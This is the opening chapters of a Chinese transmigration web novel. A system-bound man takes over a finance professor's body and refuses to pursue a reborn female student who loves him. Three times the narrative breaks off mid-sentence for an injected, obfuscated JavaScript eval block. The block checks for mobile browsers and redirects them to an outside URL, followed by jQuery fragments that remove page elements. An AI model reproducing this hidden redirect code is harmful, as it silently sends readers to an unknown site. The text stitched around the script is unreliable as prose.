《卷王选择独美[快穿]》 1. 重生文(01) “好吧,我同意绑定。” 贺明隽平静无波地说道,但若细究,他的语气似乎还透露着几分勉为其难。 见他终于答应,编号为7714的系统不禁松了一口气——如果它一个系统长了嘴巴、能做出这个动作的话。 系统觉得奇怪:一般人遇见这种能复活的机会,不应该迫不及待地答应吗? 谁知道它看中的这位任务者如此难缠,似乎有些并不情愿。 根据它了解的情况,这位任务者十分年轻,他有一个母亲需要赡养、正在做的项目还没有完成,并且外界评价,他还是非常孝顺、有责任心的人,除此外,在感情经历方面,他没成家,甚至连恋爱都没谈过。 这样的人怎么会一点遗憾和留恋都没有呢? 真是令统费解。 但此时,因为之前向贺明隽解释、以及证明自己是正经系统耽误了不少时间,系统一听他答应,就根本顾不上细究,直接选择绑定。 【请接收剧情!】 【剧情传输中——】 贺明隽到现在还对系统7714所说的一切将信将疑。 这一切都超过了他的认知水平,有些甚至超过了他的理解能力。 只是当时他什么也做不了,醒不来,感受不到自己的肉-体,接触不了外界…… 他能沟通的只有这个自称是系统的东西。 于是,他也只能选择同意,答应一试。 * 大量记忆涌入脑海,贺明隽感觉到脑袋有些刺痛,便很自然地抬起左手按按额角。 当指腹触摸到肌肤,他才反应过来,自己现在有身体了。 抬眸,对上熄掉的黑色电脑屏幕中映出的那张脸。 有些模糊,但贺明隽能看出来这不是他原本的长相。 他微不可查地蹙了下眉,同时将舌尖递到齿间,咬下。 是疼的。 再低头一看,桌面上摆着一沓正批改的卷子。 这是一间单人办公室,此时这里也没有外人,贺明隽便梳理起系统传输的剧情—— 一个名叫白梦绮的女生一直暗恋着好友梁双双的表哥,这个表哥与他同名,也叫贺明隽。 他的身份是一所名叫青禾财经大学的教授,教金融学。 为了区分,还是用“贺教授”来指代剧情中的那个贺明隽吧。 白梦绮原本成绩一般,为了和贺教授有机会相处,她高三时十分努力,考入青禾财经大学。 这是本省最好的财经类院校,录取分数并不低。 白梦绮进入大学后,一直想方设法去接近贺教授,多和他相处。 就连梁双双知道好友的心意后,也帮忙牵线搭桥,撮合他们。 可是,白梦绮和梁双双同岁,比贺教授小八岁,贺教授因为自己表妹的关系,只把白梦绮当妹妹,丝毫没有男女之情。 白梦绮被拒绝后并没有轻易放弃,追求了贺教授四年。 但落花有意流水无情,她到毕业时都没能成功追到人。 按理说,等毕业后,两人应该再无交集。 时间会淡化一切,慢慢地,白梦绮会放下执念。 然而,事实并非如此。 白梦绮想考贺教授的研究生。 贺教授只能以兄长、老师的身份劝她,她因为把太多精力放在感情上,学业并不突出,好几门专业课都是低分飘过,而现在考研并不是一件容易的事。 可白梦绮并不听劝,还眼睛湿润、一脸倔强地看着贺教授,坚定地说:“你可以拒绝接受我的爱,但你不能阻止我爱你,我只是想离你近一点。” 或许,在剧情中,“白梦绮”这个人物觉得自己很有毅力,别人也为她的付出而感动,甚至有些人还指责贺教授不知好歹。 只不过,绑定了系统的贺明隽作为一个旁观者,是理智甚至有些冷漠的。 他只分析出白梦绮不懂得及时止损,以至于追求贺教授的沉没成本太高,最后难以放手。 在剧情中,白梦绮最终还是没能打动贺教授,她也没能考上研究生,只好去工作。 因为成绩一般,她又错过了毕业生的招聘期,最后只找到一份很普通的工作。 如果故事到这里结束,贺明隽觉得还算正常。 剧情中的白梦绮没有珍惜自己的高中努力的成果,荒废了学业,虽然有些令人惋惜,但每个人都要为自己的选择负责。 现实生活本就不是人人都能如愿,有一个圆满结果的。 有情人都未必能终成眷属,更何况是单相思? 但是,那个以白梦绮为主角的故事还在继续—— 她在一次出差时遭遇泥石流去世了,被沙石掩埋的时候,她无比后悔:如果她大学没有一直追在贺教授身后,会不会有不一样的人生…… 然后,她就重生了,重生到大二的下半学期。 这时,她已经向贺教授暗示过几次自己的心意,并正式表白一次,都遭到了干脆直接的拒绝。 重生回来的白梦绮努力远离贺教授,把精力放在学业上,并根据脑海中那些关于未来的信息屡次出彩,成为校园里的风云人物。 白梦绮不再围着贺教授转了,可贺教授却总是不自觉地被她吸引目光。 慢慢地,贺教授后知后觉地意识到,原来他并不是单纯地把白梦绮当成妹妹看,只是碍于道德约束以及自己对感情迟钝,没能及时认清自己的心。 贺教授后悔了,开始笨拙地追求白梦绮。 然而,白梦绮身边已经有了别的男生:同班的男生,学生会的学长,甚至还有她实习的公司的总裁顾辞。 白梦绮毕竟是重生回来的,她上一世已经步入了社会,自然对学校里的略显青涩的小男生无感,就拒绝了他们。 她和顾辞经历过纠结、误会、吃醋、家长棒打鸳鸯等波折,最终修成正果。 贺教授就是他们感情发展的一个催化剂。 贺明隽想,这么比喻似乎有点不恰当,因为催化剂在化学反应中自身的组成和质量不会发生变化,而贺教授不仅在期间屡次丢脸,最终还落了个身败名裂、被学校解聘的下场。 白梦绮和顾辞就像是电视剧中的男女主角,他们是美好的、正义的。 在剧情中,应该说主要从白梦绮和顾辞的角度看,贺教授的遭遇当然不会是他们陷害的,而是贺教授自作自受。 贺教授落得那个下场,就宛如在向上辈子死去的女主道歉赔偿,也让女主彻底从那场暗恋中走出来,并感叹“或许我曾经动心的人,只是我想象中的贺教授”。 最终,男女主幸福地生活在一起。 标准而圆满的大结局。 只不过,作为局外人的贺明隽看着这个故事,觉得十分别扭、荒诞。 真的会有人重生吗?不是白梦绮一个人活过来,而是整个世界线都倒回去…… 好,就算这是个故事,不必细究这些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239173|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那么,白梦绮重活一世,难道就不是白梦绮了吗? 以前她那么主动追求,贺教授不喜欢她,怎么反而这一世她远离了,贺教授就动心了? 的确,白梦绮是变得更优秀了。 可这世上的优秀女性并不少。 贺教授会拒绝白梦绮,主要是有一份道德约束在。 对方可是比他小八岁的表妹的同龄好友,还是他的学生。 就算动心,贺教授也应该克制吧,怎么能够去主动追求、甚至有些死缠烂打呢? 而且,贺教授原本的性格是有点清冷、不很在意情爱的。 在贺明隽这个从没有过感情经历的旁观者看来,剧情中的贺教授或许会喜欢上某人,那多半是年龄阅历相仿的灵魂伴侣,他们的相处大概是恬淡的、细水长流的。 或许贺教授会是一个负责任的、体贴顾家的好丈夫,但却绝对不会是一个为爱不顾一切的痴情儿,更不应该在被白梦绮拒绝甚至有暧昧对象后,做出那些不体面的举动。 可在白梦绮重生后的剧情中,贺教授竟然会因为喜欢一个人做出那些离谱的事…… 是为了显示“白梦绮”这个角色的魅力吗? 贺明隽觉得十分费解。 在现实世界中,贺明隽连那些名著小说都没怎么看过,更别提网络小说了,他不知道“崩人设”这个词,只是觉得剧情中的贺教授的做法有些不符合逻辑。 而现在,他成为了这位“贺教授”。 说起来话长,其实贺明隽梳理完这些也才不到两分钟。 他还记得那个不知从哪里来的系统称呼他为“任务者”。 既然是任务,那他应该是要做些什么呢? 他便试着唤道:“系统?” 【系……】 系统因为能量不足,而没能把“系统能量不足,暂时休眠”这句话传达出来。 贺明隽不知道情况,他等了一会儿,一直不见系统有回应,微微松了一口气。 若是别人,来到一个陌生的环境,即将面临不同的人生,没有系统的指引和帮助,可能是恐慌无措的。 可贺明隽不一样,他只觉得轻松。 他不喜欢被安排。 如果系统所给的剧情是真的,那他现在所处的世界算什么? 一个全息游戏吗? 那么他现在就是在这个游戏中扮演一个角色? 贺明隽不知道自己的任务本应该是什么,可是他清楚,他既不想按照剧情安排走,也不想替那位对重生的白梦绮动心的贺教授先下手为强、在白梦绮还没有和别人正式确定关系之前把人追到手。 既然他的身份是教授,那就应该好好教书育人。 爱上学生、并主动追求这样的行为也太没有师德了,他才不干。 至于完不成任务会有什么惩罚,贺明隽没有考虑。 他从来不是一个顺从的、会任由摆布的人。 要他装作喜欢一个人并想方设法追求,他做不到。 而且,他从未谈过恋爱、追求过人,对此也不擅长。 打定主意之后,贺明隽就把系统和所谓的女主丢到一边。 现在,他虽然不清楚这个世界究竟是怎么一回事,但他的感受是真切的,他的意识是能自己做主的而不受任何束缚、干扰。 那便好好经历一遍吧。 什么系统、重生、女主、喜欢……只有学到的知识才是他自己的。 2. 重生文(02) 贺明隽打开手机的前置摄像头,认真用视线描摹着,熟悉自己现在用的这张脸。 系统给的剧情中,对于贺教授是这样描述的: 金融系的男女生人数比较平均,而男生中却没有评出一个系草,就是因为有贺教授珠玉在前。 他是青禾财经大学最年轻的教授,那张脸看起来比某些不修边幅的男生更像一个大学生。但他的气质却比青涩的大学生成熟、内敛,像一汪潭水,吸引人去探究。 他皮肤白皙,眉眼温润,待人也很温和有礼,只是他的性格却是清冷的,就像是天上的月亮,照着所有人,却一点都不温暖。 …… 贺明隽对皮囊并不在意,也没有太多词汇量去描述贺教授的模样。 他看着摄像头中这张陌生的脸,只觉得贺教授五官端正,是很容易讨长辈喜欢,让人信任、心生好感的长相。 贺明隽有点不习惯。 他以前是与这种类型完全相反的长相,不是说不堪入目,而是有点凶、显得难以接近。 他曾偶尔听到有人在私下里议论—— “脸是帅的,但气质也太冷了,他看起来不像是搞研究的,而像是电影里那种,表明冷静实际一言不合拿起枪把人都突突了的反派……” “还是事后毁尸灭迹都很冷静那种变态。” “要是电影角色那很带感,现实中相处就太有压力了。” 贺明隽放下回忆,从手机相册中找了一张照片裁剪后设为屏保。 他这几天要经常看看,免得认不出“自己”。 尽管他记性很好,几乎可以说是过目不忘,但毕竟是陡然换了张脸,可能会因为不习惯而一时疏忽,还是要多熟悉一下。 照片是前不久贺教授在毕业典礼上拍的,他身穿宽大的红黑配色的学位服,依旧显得身姿挺拔修长。 系统所给的剧情都是围绕着白梦绮展开的,贺教授只是其中的一个配角。 可现在贺明隽身处其中后,一切细节都被完善,显得如此真实。 贺明隽认真看了两眼,便按了锁屏,将手机倒扣,继续批改试卷。 现在的时间点是本学期的第十四周,此时白梦绮已经重生两个月,等九月份开学她读大三,而暑假她去实习时便会遇见男主顾辞。 贺明隽无意去关注白梦绮的事情,更不会去干涉剧情。 目前他只想在其位谋其政,先把分内之事完成。 他现在要做的就是批改试卷,然后在教务系统中录入成绩,等暑假时,他还有一些教研任务。 贺明隽原本不是学金融的,但他对此并没有什么忧虑的。 他的学习能力一向不错。 而且对他来说,金融中的数学和模型部分有点过于简单了。 其余的金融理论和概念部分,他脑海中有一些系统传来的知识,看起来不难,也够他教学使用。 不过,贺明隽还是打算自己全面地学习一遍。 知识还是要自己真正掌握才算数。 至于学会和会教是两回事,贺明隽更不担心,他虽没有当过教授,但曾经去大学开过讲座,在研究所也带过新人。 只要自己对那些知识点足够熟练,那么讲解出来不是很简单的事吗? 如果学生听不懂,那肯定不是他的问题。 贺明隽在批改卷子的同时,已经做好一个简单的规划。 他做事一向专注有效率,很快就把成绩录入。 又处理了几封邮件后,他便整理了书桌,拿起手机、钥匙、U盘等准备回住处。 在离开办公室前,他随意地打开手机,看到上面显示有两个来自梁双双的未接电话。 贺教授因为身份关系,经常把手机调整为静音,上课或开会等时,就把手机屏幕朝上放在一边,若有电话和视频通话进来,就能看到屏幕亮起。 其余方式的信息,就是不太着急的,可以稍后再处理。 而贺明隽其实很少用手机,更别提不时查看了。 看来,他以后要改一改自己的习惯,适应完全不同的生活方式。 贺明隽将手机解锁后,还看到微信的图标旁也有小红点,他的手指一顿,然后上移,点开了微信。 果不其然,贺教师的表妹梁双双先发了文字,没有得到回复后才打语音通话。 他回道:“大约八分钟就到。” 梁双双已经考完最后一门课,准备离校回家了,要贺教授送她去高铁站。 他们都是本省人,只不过就读或就职的学校在省会城市,而他们的老家在隔壁市。 以前有假期时如果贺教授没别的事,回家就会捎上梁双双。 可现在换成了贺明隽,他没打算回去,于是就只送梁双双去坐车。 贺明隽开车,到了梁双双的宿舍楼下。 他见梁双双还没下楼,就发信息:“我到了。” 梁双双立马语音回道:“哥你上楼来接一下嘛,五楼呢。” 她住的宿舍楼只有五层,没有安装电梯。 贺明隽回:“好,那你下来和宿管说一声。” 梁双双:“我下去还要上来,好累的,哥你刷脸不行吗?” 贺明隽只能去和宿管说明情况,也许是白天的缘故,不少学生已经离校,而他又是学校的老师,宿管就放他进去了。 为了避免看到尴尬的场面,贺明隽戴了墨镜,才上楼。 因为金融系的宿舍都是在一起的,他走到五楼的楼梯拐弯的平台时,还遇到一位贺教授的学生。 对方有些讶异:“贺老师?” 贺明隽言简意赅地解释:“我是来接我表妹梁双双的。” “哦哦,老师再见。”女生礼貌地让路。 贺明隽看看那女生大约一米五三的身高,再看看她手中的二十二寸行李箱,就问:“需要帮忙吗?” 贺明隽并不是一个多有善心、乐于助人的人,只是想起自己如今的老师身份,这种举手之劳,他还是愿意帮一帮的。 而且,她提着行李箱走得慢,等他们下楼时会挡路。 那女生有些受宠若惊,连连拒绝:“谢谢老师,不用了。” “顺手的事,再说,楼梯有点窄……”贺明隽这么说道,如果对方再拒绝他也不会强求。 女生大概是也意识到自己会挡路,就感激又略不好意思地说:“那……谢谢老师。” 这时,梁双双的声音响起:“哥,你到了吗?” 紧接着是轮子在瓷砖上滑动的声音,十几秒后,梁双双出现在楼梯口。 她背着一个双肩包,推着一个二十寸的行李箱,行李箱上还放着一个提包。 贺明隽估量了一下,他应该能提得动。 他跨上台阶,走到梁双双面前,伸出左手。 然而梁双双递过去后却开口道:“哥,梦梦也有个大箱子呢,你帮她也提上呗。” 贺明隽余光瞥见梁双双身后还有一道身影,他没细看,只是接过梁双双手中的行李箱,往下走,同时开口道:“不行。” 别说他已经先答应了别人,就算没有,他也不想再和白梦绮有什么牵扯。 他向来不喜欢拖泥带水。 “哥!”梁双双不悦地喊了一声,觉得他太不给人面子。 贺明隽冷漠:“再废话你的行李也自己提。” 他都没多看白梦绮一眼,伸出左手,看梁双双如何选择。 梁双双有些目瞪口呆地把行李箱往前推了下。 贺明隽提起,往下走经过拐弯的平台时,把之前那位女生的行李箱也接过了。 “啊,张瑛你也今天回家啊。”梁双双冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239174|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个正尴尬着的小个子女生打招呼。 张瑛刚才听到梁双双开口要贺老师帮忙提舍友的箱子时,就以为贺老师不会帮她了,毕竟关系有亲疏远近嘛。 她已经准备自己艰难地往下走了,见贺老师走近,刚想说“不用了”,就见贺老师已经伸出手。 张瑛不是八面玲珑的性格,她现在完全不知道该说什么好。 对着温和帅气、又透着不容拒绝气势的教授,她只好再次道谢:“谢谢老师。” 贺明隽略一点头,提上行李箱横着的把手,率先下楼。 但他双手都被行李箱占住的那一刻,就忍不住皱眉。 太沉了。 贺明隽忘了,现在他用的已经不是原来的身体,贺教授虽然健身,但在力量方面还是差了点。 而且他也没想到,女大学生放暑假带回家的行李箱能有这么沉。 但此时,他好意思说自己提不动吗? 那多没面子啊。 贺明隽连分两次、一次只提一个行李箱都不愿。 于是,贺明隽只能加快脚步,减少负重的时间。 他从头到尾都没有给白梦绮一个眼神。 贺明隽不是有意逃避,从没有过恋爱经验的他只是觉得时间和距离能淡化一切感情。 可贺明隽这样的反应,让本就纠结的白梦绮更加心情复杂。 能重活一世,尤其是上辈子在毕业后遭受社会的毒打,白梦绮是打算好好学习、不再一颗心扑在贺教授身上。 可这么多年的感情不是说收就能收回去的。 她暗自下定决定要远离,可等见到了人,她的视线还是会被他吸引。 见他这样躲着自己,她还是会难过、难堪,既忍不住埋怨他冷心,又为自己不值。 白梦绮自嘲地笑笑,若无其事地对好友梁双双说:“没关系,我的行李箱不重,我能提得动。” 当着外人的面,梁双双也不好多说,怒其不争地跺了跺脚。 贺明隽对身后发生的事一无所知,他身高腿长,又有意加快脚步,比他们多下了一层楼,这个距离更是渐渐越拉越大。 他走到楼下,把梁双双的行李箱放进后备箱,又甩甩发酸的胳膊、揉揉已经有了红痕的手心,微张着唇缓缓地调整了一下呼吸,之后才立在车边,等他们下楼。 三个女孩子走出宿舍楼,就看到一个云淡风轻、正在理衬衫袖子的贺教授。 张瑛走过去,再次道谢后,推了自己的行李箱离开。 白梦绮也不知自己是在期待什么,或是不甘心,竟没主动提出告别。 梁双双笑得一脸暧昧,走过去拉开后车门,同时开口道:“哥,梦梦和我是同一班高铁,刚好一起。” 贺明隽这才抬眸看向白梦绮,系统给的剧情中的女主。 对上他墨镜也遮不住的清冷、没有情绪的眼神,白梦绮不自觉地双手攥紧了握着的东西。 贺明隽开口:“抱歉,我带双双还有别的事,可能不太方便。” 他又转向梁双双:“帮你舍友叫个网约车。” 白梦绮仿佛被侮辱了一般,笑容苦涩,却又委屈而倔强地说:“不用了,我自己可以。” 她拉着行李箱就大步离开了。 梁双双被气得不行:“哎呀哥!” “嘭”地一声关上门,梁双双去追白梦绮。 “梦梦,你等等我!” “我也不坐你的车了。”她回过头冲贺明隽喊道。 贺明隽依旧站在原处,淡定地拉开驾驶座旁的车门,说:“回来。” “除非你把梦梦劝回来,并载上她。”梁双双趁机提要求。 贺明隽没应,只是说:“你行李箱没带。” 梁双双:“……” “臭钢铁直男!活该没女朋友!” 3. 重生文(03) 梁双双咬牙切齿,还是返回,坐上了车。 因为贺明隽说:“你的经济数学建模只考了六十八分,要不要我把这个好消息分享在家庭群?” 梁双双脸上的表情一变,谄媚地笑道:“哥~你变了,你以前可不会干这种事。” 贺明隽“嗯”了一声,没有反驳。 他踩下油门,行驶的汽车很快将路边的白梦绮抛在后面。 梁双双伸着脖子往后看,直到视线被树木遮挡。 她泄气地坐下,不解地问:“到底有什么事儿啊?就不能顺便带上梦梦吗?” 贺明隽淡定地答:“没事,那就是一个借口而已。” “为什么啊?”梁双双不解。 贺明隽:“或许是我之前因为你的关系,对她颇多照顾,让她误会了,产生了错误的感情。所以,我以后会避嫌,你也注意一点。” “啊?” 梁双双就像是磕到了假CP一样不愿相信。 “为什么啊?她喜欢了你这么久,你又没有女朋友,就试一试嘛,梦梦真的是一个特别好的女孩。” 贺明隽的声音有点冷:“她喜欢一个人,对方就必须要回应吗?” 他不是原来的贺教授,对梁双双没有兄妹亲情,完全不怕说重话。 他这么重的语气,让梁双双有点不悦,呛声道:“你怎么这么冷血?她这五年的感情和坚持全都喂了狗!” 贺明隽抬头,对着后视镜冷冷地看了梁双双一眼。 梁双双噤声,并有些不自在地低下头,往旁边挪了一点。 贺明隽的声音响起:“冷血?她所谓的坚持只是在自我感动而已,贺……” 意识到不对,他及时改口:“我以前只是因为她是你最好的朋友,把她当妹妹,现在她就是一个我的学生,仅此而已。对我来说,她和其他同学没什么不同,甚至因为她的表白,我更需要和她避嫌。” 他的声音像一阵清风,轻飘飘的,没什么温度。 但梁双双却觉得这几句话像刀子一般割人。 “你就没有一点心动吗?都是大学的师生了……”梁双双说着,有点底气不足。 贺明隽没有对“师生恋”做出回应,只是把矛头对准了梁双双:“这关你什么事呢?” “你的好心、自以为是,已经对我造成了困扰。前不久,有一个男生在六号楼对一个已经拒绝过他的女生摆鲜花告白,你觉得你像不像旁边起哄的人?” 某种程度上,贺明隽真相了。 在小说中,常常有这样一种角色:女主的闺蜜或丫鬟,在男女主刚结识甚至第一次相遇时,就把男主当成闺蜜的男人或未来姑爷了,也可能对女主接触较多的男人挑挑拣拣,评价哪一个更合适。 当然,不出意外的话,他们对女主最终都会产生好感。 目前梁双双是站错CP了。 身为工具人的梁双双并没有这种自觉,她只是在心里反驳:那能一样吗? 但对上今天的表哥,梁双双不知为何,有点畏惧,不敢像之前那样撒娇、随心所欲。 “那我以后不管你的闲事了。”梁双双努着嘴,嘟囔道。 “我这不是怕你动心而不自知,以后火葬场嘛。” “火葬场……”贺明隽有些疑惑地重复一遍,总觉得不是真的把尸体火花的地方,就不耻下问:“是什么意思?” “我的哥呀!”梁双双无语,“你才二十八岁,又不是什么老学究,怎么连这个都不懂?就是,‘傲娇一时爽,追妻火葬场’嘛。” 梁双双用浅显的语言又解释了一遍。 贺明隽想,原来,在白梦绮重生后,贺教授喜欢上她的行为就可以叫“火葬场”,还是失败的那种。 他坚定地说:“不会。” 贺明隽没有恋爱过,但他知道自己更欣赏清醒、拿得起放得下、有事业心的女孩子。 原本的贺教授最初也不喜欢白梦绮,后来的动心,贺明隽更是觉得莫名其妙。 梁双双闻言,轻哼一声,说:“你自己不后悔就好,那我也不管了。反正现在梦梦好像也要放弃了,还有很多更年轻、知情趣的帅哥追求她。” 贺明隽不为所动:“与我无关。” 梁双双叹气:“唉,妾有情,奈何郎心似铁啊。” 明明不是她追人失败,但她心里就很怅然若失。 贺明隽皱眉道:“你一个大学生,不好好学习,整天在意别人的感情干什么?” 梁双双想起自己的六十八分,底气愈发不足,小声嘀咕:“你和梦梦不算别人。” 但下一秒,她又理直气壮起来:“我就是可惜,有那么优秀的一个女孩子那么喜欢你,多不容易啊,你都一把年纪了,还不知道珍惜。” 贺明隽不耐烦地轻啧一声。 梁双双做举手投降状,示意自己不再说了。 片刻后,她又好奇地问:“哥,你是遇见什么事了,还是有喜欢的人了?” 贺明隽答:“没有。” “那你今天为什么好像格外在意这一点?专门和我强调,还很凶……”梁双双有点委屈。 她小时候因为父母忙生意,在表哥家寄住过几年,两人和亲兄妹也没差别了。以前的表哥虽然看似冷清,但对她很纵容的,从没有这么严厉过。 或许正是贺教授的这份纵容,让梁双双有点没分寸。 她有种天真的想法,喜欢白梦绮这个闺蜜,就想着如果能成为一家人就好了。 贺明隽却不理解梁双双的想法,语气冷硬地说:“我喜欢当断则断。” 梁双双再次叹气:“你这样,活该当单身狗。感情啊,就是要拉扯、黏糊。” 贺明隽不置可否,他觉得一个人没什么不好,来回拉扯是一件很没有效率的事情。 想起梁双双是自己这个身份的妹妹,贺明隽还是多问一句:“你这么懂,是谈恋爱了?” “没有。‘书中自有颜如玉’,多看点小说,就妥妥的恋爱理论大师。” 梁双双有点得意,哪怕她实践经验为零。 贺明隽想起自己莫名其妙被系统绑定还要做任务,以及系统给的剧情,他觉得自己应该补充这方面的知识,就问:“什么小说?” “那可多了!”梁双双是个十年老书虫,提起自己的爱好,她可来劲了。 “哥,你要感兴趣,我给你列个书单。” “可以。”贺明隽点头,又补充道,“你直接下单,给我寄来,我给你转账。” “哥,你怎么这么落伍啊?!现在都看网络小说啦!你直接用手机搜就行了……算了,我还是给你发网站链接,或你下个APP,要支持正版。” 刚好遇到一个红灯,贺明隽把车停下后,直接把手机解锁递给梁双双。 梁双双看见屏保,就笑了:“哥你还用自己的照片,也太自恋了。” 贺明隽没解释。 梁双双觉得无趣,撇撇嘴,低头操作起来。 “给你充多少钱啊?” 贺明隽答:“两百。” 两百块钱可以免密支付,而且,他这点钱够买几本书看了。 梁双双一通操作后,又拿出自己的手机,看着自己的书单,用贺明隽的账号把她之前收藏的书有筛选地全定。 考虑到她哥是个男生,还是个钢铁直男加没看过网文的老古董,她就把耽美都排除了。 “你看完了可以自己再买,还有,暑假你不用的时候,把账号借我。” 贺明隽再次应声。 梁双双有些奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239175|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪地说:“哥,你今天怎么对我爱答不理的?除了刚才训我的时候。” “嗯。”贺明隽十分高冷。 “我不搭理你了。”梁双双说着,低下头看小说,很快又问道:“哥你暑假什么时候回去啊?” 贺明隽脑海中闪过在暑假发生的剧情。 “看情况。”他随口敷衍道,可实际上,他并没有回去的打算。 他弄不清这是不是真实世界,更不清楚,原本的贺教授会不会回来。 但不管如何,贺教授的家人,不是他的家人。 不论从哪个角度考虑,他还是不要过多接触为好。 贺明隽压下各种思绪,停车。 他说:“到了。” “哎?这才哪儿啊?”梁双双疑惑,“你怎么把我送到地铁站了?” “这个点,前面会堵车。乘地铁,节约时间,也节约资源。”贺明隽说着,下车把梁双双的行李箱提出来。 “要我送你上地铁吗?”他不怎么真诚地问。 梁双双冲着贺明隽竖起大拇指,说:“你这种直男,不答应别人的追求,是她的福气。” 地铁站有电梯,不怎么需要费力。 梁双双现在见到表哥就来气,挥挥手,自己拉着行李箱走了。 贺明隽也乐得自在。 回去的路上,他又回想了一下剧情。 原本,贺教授暑假是回家了一趟的,还因为白梦绮的事推了一个企业的讲座。 作为教授,他的暑期不是那么清闲的,要带研究生的项目、大三的暑期实践、还有一些竞赛指导,他自己也有课题要完成,所以他的假期只有两周空闲时间,而且还不连贯。 而白梦绮因为前不久炒股模拟大赛获得第一名,又在面试中表现优异,破格被启辰证券录用为暑期实习生。 启辰证券就是顾辞所在的公司,通常就连实习生也至少是研究生学历,只有白梦绮这一个特例。 白梦绮要回省会实习,就只能回家住一周。 然而,她的母亲却因为高血压引起脑梗住院,需要人照看。 ——在白梦绮重生之前这样的事也发生了,只是这一世时间提前了,所以白梦绮有点猝不及防。 她为了照顾母亲,打算请假甚至推掉实习。 可梁双双知道这个实习机会难得,等白母脱离危险后,就提出自己帮忙照顾,让白梦绮去实习。 梁双双又拖上了回家的贺教授。 那时贺教授已经动心而不自知,看着白梦绮为自己的母亲忙碌忧心,怜惜不已,就留下来帮忙了。 但现在,贺明隽可不打算去多管闲事。 他回到贺教授的住处,熟悉了摆设和环境之后,就进入书房开始学习。 暑期的各项任务,他都高效且完美地完成。 至于白梦绮如何,他丝毫没有关注。 * 八月二十,新大一生报道,开始军训。 梁双双因为在学生会,要提前到校来当志愿者。 从梁双双这里,贺明隽这才知道新的剧情:白母依旧脑梗住院,白梦绮只请了一周的假,后面她还是去实习了,另请护工照顾。 他想,原来的贺教授就是个免费的护工啊。 哦,对了,剧情中白梦绮遇见顾辞并吸引他的注意就是在实习的第一天,如今她推迟了一周去实习,也不知道两人还有没有那个缘分。 贺明隽只是闲时随便一想,并没有去调查他们感情进度的想法。 他从来不做多余的事,不会为了无关的人耗费精力。 贺明隽制作新的课件。 【叮!系统启动中……】 贺明隽敲击键盘的手指微顿,轻叹一口气,问道:“说吧,我的任务是什么。” 4. 重生文(04) 贺明隽想,能补救就补救,如果不行,就这么算了吧。 若让任务要求他去追求白梦绮,那他是绝对不可能做的。 半天没听到系统回应,贺明隽皱眉问道:“你是关机了,还是信号不好?” 他总觉得这个系统有些不靠谱。 直到他做完新一章的课件,才又听到系统的提醒音。 【系统已启动!】 贺明隽手指抵着额角,感到一种深深的无力感。 就是再老旧的电脑,开机都不会这么慢。 【系统正在查询……】 【不好意思,请问您可以重复一遍刚才的问题吗?】 贺明隽:“……” 他只好再问一遍:“你之前提过,我还要完成什么任务。” 【正在查询一号任务者的任务及进度……】 片刻后,稍显生硬的机械音被另一道稚嫩的声音取代:“哇,你好厉害!这就阻止了男女主的初遇!” 贺明隽问:“所以,我的任务是破坏所谓的男女主……也就是白梦绮和顾辞之间的感情?” “那,他们没有遇见,我的任务是不是就算完成了?”尽管觉得不太可能,贺明隽还是问道。 “不是啊。”系统的声音很无辜。 贺明隽左手撑住额头,闭眼,略吸一口气,问:“那你提这些无关紧要的事情做什么?” 若他有这样的助理,早就开除了。 系统反驳:“不是无关紧要啊,你的任务与他们关系紧密。” 贺明隽“嗯”了一声,继续一边做课件,一边听系统“说”的信息。 “你的任务是让原贺明隽不要被女主吸引,好好当他的教授,不要最终落个身败名裂的下场,活出自己的人生。” 贺明隽点头,觉得这个任务尚可接受,他又问:“男女主的感情状况,也是评判任务完成度的标准之一吗?” “不是。” 系统继续道:“原贺明隽最后会被解聘,并没有学校愿意再聘任他,最直接的原因就是男主的针对啊。” “虽然原剧情中的男女主初遇被破坏了,但他们之间有着莫大的吸引力,以后肯定还会遇见并产生联系的。” “如果男女主没有在一起,男主就不会因为女主针对你了。而且男女主光环,是一加一大于二的,他们在一起就更难对付了。” “你要再接再厉啊!” 贺明隽轻轻摇头:“本末倒置了。” 他为什么要对付男女主? 白梦绮以及顾辞他们如何,和他无关。 他不在意他们,任务中也只提及“贺教授不要被白梦绮吸引”,而没有再提别的,所以他只需要教好自己的书就行了。 棒打鸳鸯的事情,他做不来。 贺明隽又问道:“你刚才称呼我为‘一号任务者’,难不成你还有别的任务者,才会时常联系不上?” 系统扭捏:“以后会有的。” 贺明隽更加确定了,这个系统不仅是个新手,还是个小废物。 他没有再纠结系统的情况,反正已经上了贼船。 而且,他本来就没有对这个系统抱有太大的希望。 贺明隽继续制作课件。 系统有点懵:“你就没有别的要问我了吗?” 关于任务、关于男女主、还有他下线这么多天…… 贺明隽:“没有。” 